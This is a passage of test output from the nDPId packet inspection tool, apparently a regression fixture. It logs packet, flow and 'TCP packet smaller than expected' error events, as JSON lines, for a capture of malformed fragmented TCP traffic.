-00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1871,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiYkAGQ08KAAACCoAAAkVUUiVZXlUmSSpPUHsiOmg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026221061} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1872,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZEAGQ00KAAACCoAAAmRmbGtkYT5MPE1OQkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026221069} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1873,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiZkAGQ0sKAAACCoAAAkVXI0AkJV5IQkdWCjQyMTQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026221081} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1874,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiaEAGQ0kKAAACCoAAAjYzMTk4MjA1MSkoKiZeJSQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026221093} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1875,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAiakAGQ0cKAAACCoAAAiNAIyQlXiYqKComXiUkI3I="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026221108} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1876,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibEAGQ0UKAAACCoAAAnNkbHVoZ2tmZHNia252Yy8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026221120} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1877,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAibkAGQ0MKAAACCoAAAi50Z2Z0Zz9HUj9HUj9zUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":42,"expected":54,"global_ts_usec":1534244026221133} -00345{"packet_event_id":1,"packet_event_name":"packet","packet_id":1878,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":42,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":42,"pkt_l4_len":8,"thread_ts_usec":1534244026217057,"pkt":"QgEK8AABQgEK8AAbCABFAAAcAKACcEAGY0kKAAACCoAAAjc0ODM5Niko"} 00764{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":1879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":7,"flow_state":"info","flow_src_packets_processed":1,"flow_dst_packets_processed":0,"flow_first_seen":1534244026521464,"flow_src_last_pkt_time":1534244026521464,"flow_dst_last_pkt_time":1534244026521464,"flow_idle_time":3285032704,"flow_src_min_l4_payload_len":0,"flow_dst_min_l4_payload_len":0,"flow_src_max_l4_payload_len":0,"flow_dst_max_l4_payload_len":0,"flow_src_tot_l4_payload_len":0,"flow_dst_tot_l4_payload_len":0,"midstream":0,"thread_ts_usec":1534244026521464,"l3_proto":"ip4","src_ip":"10.0.0.2","dst_ip":"10.128.0.2","src_port":10790,"dst_port":24101,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":3} 00524{"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":1879,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","flow_id":7,"flow_packet_id":1,"flow_src_last_pkt_time":1534244026521464,"flow_dst_last_pkt_time":1534244026521464,"flow_idle_time":3285032704,"pkt_oversize":false,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAEAGRbEKAAACCoAAAiomXiUkI0AhQCMkJV4mKigSPwAA"} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521480} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1880,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgAkAGRa8KAAACCoAAAikoKiZeJSQjQCMkJV4mKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521492} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1881,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBEAGRa0KAAACCoAAAiomXiUkIyYqKEtJSkhHRkQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521505} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1882,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgBkAGRasKAAACCoAAAjIqJkRGR0hKSyZeJSQjI0U="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521517} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1883,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCEAGRakKAAACCoAAAlRSJVleVSZJKk9QeyI6aGQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521529} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1884,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgCkAGRacKAAACCoAAAmZsa2RhPkw8TU5CSEdGREU="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521541} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1885,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDEAGRaUKAAACCoAAAlcjQCQlXkhCR1YKNDIxNDY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521553} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1886,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgDkAGRaMKAAACCoAAAjMxOTgyMDUxKSgqJl4lJCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521565} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1887,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEEAGRaEKAAACCoAAAkAjJCVeJiooKiZeJSQjcnM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521577} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1888,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgEkAGRZ8KAAACCoAAAmRsdWhna2Zkc2JrbnZjLy4="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521588} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1889,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFEAGRZ0KAAACCoAAAnRnZnRnP0dSP0dSP3NSPzc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521600} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1890,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgFkAGRZsKAAACCoAAAjQ4Mzk2KSgqJl4lJCNAIUA="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521620} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1891,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGEAGRZkKAAACCoAAAiMkJV4mKigpKComXiUkI0A="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521633} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1892,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgGkAGRZcKAAACCoAAAiMkJV4mKigqJl4lJCMmKig="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521645} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1893,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHEAGRZUKAAACCoAAAktJSkhHRkQyKiZERkdISks="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521657} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1894,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgHkAGRZMKAAACCoAAAiZeJSQjI0VUUiVZXlUmSSo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521669} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1895,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIEAGRZEKAAACCoAAAk9QeyI6aGRmbGtkYT5MPE0="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521681} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1896,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgIkAGRY8KAAACCoAAAk5CSEdGREVXI0AkJV5IQkc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521693} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1897,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJEAGRY0KAAACCoAAAlYKNDIxNDYzMTk4MjA1MSk="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521705} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1898,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgJkAGRYsKAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521717} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1899,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKEAGRYkKAAACCoAAAiZeJSQjcnNkbHVoZ2tmZHM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521729} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1900,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgKkAGRYcKAAACCoAAAmJrbnZjLy50Z2Z0Zz9HUj8="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521743} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1901,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLEAGRYUKAAACCoAAAkdSP3NSPzc0ODM5NikoKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521755} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1902,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgLkAGRYMKAAACCoAAAl4lJCNAIUAjJCVeJiooKSg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521768} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1903,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521779} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1904,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAl4lJCMmKihLSUpIR0ZEMio="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521793} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1905,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAiZERkdISksmXiUkIyNFVFI="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521805} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1906,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521818} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1907,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521838} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1908,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521850} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1909,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521864} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1910,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521875} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1911,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521890} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1912,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521901} -00358{"packet_event_id":1,"packet_event_name":"packet","packet_id":1913,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":50,"pkt_l4_len":16,"thread_ts_usec":1534244026521464,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} -00223{"error_event_id":13,"error_event_name":"TCP packet smaller than expected","datalink":1,"packet_id":1914,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","size":50,"expected":54,"global_ts_usec":1534244026521913} 